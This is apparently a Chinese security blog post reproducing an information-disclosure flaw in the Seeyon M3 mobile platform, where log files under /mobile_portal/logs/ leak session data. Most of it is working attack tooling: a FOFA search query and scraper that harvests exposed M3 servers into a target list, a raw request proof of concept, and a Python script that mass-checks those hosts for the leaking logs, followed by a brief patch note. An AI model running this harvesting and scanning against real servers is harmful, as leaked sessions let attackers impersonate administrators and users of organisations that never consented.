(1day)致远M3 log 敏感信息泄露漏洞(Session)复现

前言

        系统学习web漏洞挖掘以及项目实战也有一段时间了,发现在漏洞挖掘过程中难免会碰到一些历史漏洞,来帮助自己或是提高自己挖洞和及时发现漏洞效率,于是开始创建这个专栏,对第一时间发现的1day以及历史漏洞进行复现,来让自己更加熟悉漏洞类型以及历史漏洞,方便自己在后续的项目实战中,碰到漏洞能够及时去查询和复现.

免责声明

        本文仅用于技术学习和讨论。请勿使用本文所提供的内容及相关技术从事非法活动,若利用本文提供的内容或工具造成任何直接或间接的后果及损失,均由使用者本人负责,所产生的一切不良后果均与文章作者及本账号无关。

漏洞复现信息收集

fofa搜集

title="M3-Server"

fofa信息搜集脚本

# -*- coding: utf-8 -*-

import requests
import base64
import time
from lxml import etree
import threading


def fofa_search(search_data, page_data):
    # 必须要有cookie
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0',
        'Cookie': '' # 填入自己的cookie
    }

    lock = threading.Lock()  # 创建线程锁

    def process_page(page):
        url = 'https://fofa.info/result?qbase64='
        search_worlds_base64 = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")
        urls = url + search_worlds_base64 + '&page=' + str(page) + '&page_size=10'
        # print(urls)  #  打印请求的URL

        try:
            retry_count = 3
            while retry_count > 0:
                try:
                    result = requests.get(url=urls, headers=headers, timeout=10).text
                    break  # 请求成功,跳出重试循环
                except requests.RequestException as e:
                    print("请求发生异常:", e)
                    retry_count -= 1
                    if retry_count == 0:
                        print("请求重试次数已达上限,放弃请求")
                        return  # 放弃当前页面的处理

            print("正在提取第" + str(page) + "页")
            # print(result)
            soup = etree.HTML(result, etree.HTMLParser())  # 初始化生成一个XPath解析对象
            ipaddr = soup.xpath('//span[@class="hsxa-host"]/a/@href')
            print(ipaddr)
            ipaddr = '\n'.join(ipaddr)
            print(ipaddr)

            with lock:  # 使用线程锁保证写入文件的互斥性
                with open(r'url.txt', 'a+') as f:
                    print("写入文件中")
                    # f.write('页面:'+str(page)+'\n'+ipdata + '\n')
                    f.write(ipaddr + '\n')
                    f.close()

            time.sleep(0.5)  # 防止速度过快导致部分数据被略过
        except Exception as e:
            print("异常:", e)

    max_threads = 2  # 设置最大线程数量为2,超过2会导致页面爬取内容为空
    threads = []
    for page in range(1, page_data + 1):
        while len(threads) >= max_threads:
            # 等待当前线程数量降到允许的最大值以下
            time.sleep(1)
            threads = [t for t in threads if t.is_alive()]

        t = threading.Thread(target=process_page, args=(page,))
        threads.append(t)
        t.start()

    for t in threads:
        t.join()

    print("*********数据提取完成*********")


if __name__ == '__main__':
    # fofa语句, 采集页面数
    fofa_search('title="M3-Server"', 20)

一、漏洞简述

        M3—— 企业移动协同管理平台致远互联M3企业移动协同管理平台,全面覆盖各种工作场景,通过智能化的办公和业务场景融合,为企业构建新一代的移动智能工作方式。

其以下接口存在信息泄露

/mobile_portal/logs/autoLogin.log
/mobile_portal/logs/app.log
/mobile_portal/logs/requset.log

      存在未授权信息泄露,攻击者可根据泄露的session信息,伪装成通过验证的管理员/用户进行恶意操作。

二、漏洞检测poc


GET /mobile_portal/logs/autoLogin.log HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

三、漏洞检测脚本

渗透测试人员可通过该脚本进行探测自身服务是否存在此漏洞:

poc验证脚本:

poc-exp/SeeYonM3_log_InfoLeakage.py at main · ATonysan/poc-exp · GitHubDiscuss POC and Exp. Contribute to ATonysan/poc-exp development by creating an account on GitHub.icon-default.png?t=N7T8https://github.com/ATonysan/poc-exp/blob/main/SeeYonM3_log_InfoLeakage.py

import requests
import urllib3
from urllib.parse import urljoin,quote
import argparse
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    url = url.rstrip("/")
    info_paths = ['/mobile_portal/logs/autoLogin.log','/mobile_portal/logs/app.log','/mobile_portal/logs/requset.log']

    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
    }
    for path in info_paths:
        target = urljoin(url, path)
        try:
            response = requests.get(target, verify=False, headers=headers, timeout=15)
            if response.status_code == 200 and 'INFO' in response.text:
                    print(f"\033[31mDiscovered:{target}: YSeeYonM3_log_InfoLeakage!\033[0m")
                    return True
        except Exception as e:
            pass



if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")

单个url检测漏洞:

python SeeYonM3_log_InfoLeakage.py -u url

批量检测:

python SeeYonM3_log_InfoLeakage.py -f url.txt

四、修复

官方已更新补丁,请升级至最新版本。

官网地址:https://www.seeyon.com/

  • 8
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XError_xiaoyu

你的支持,使我更好的创作

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值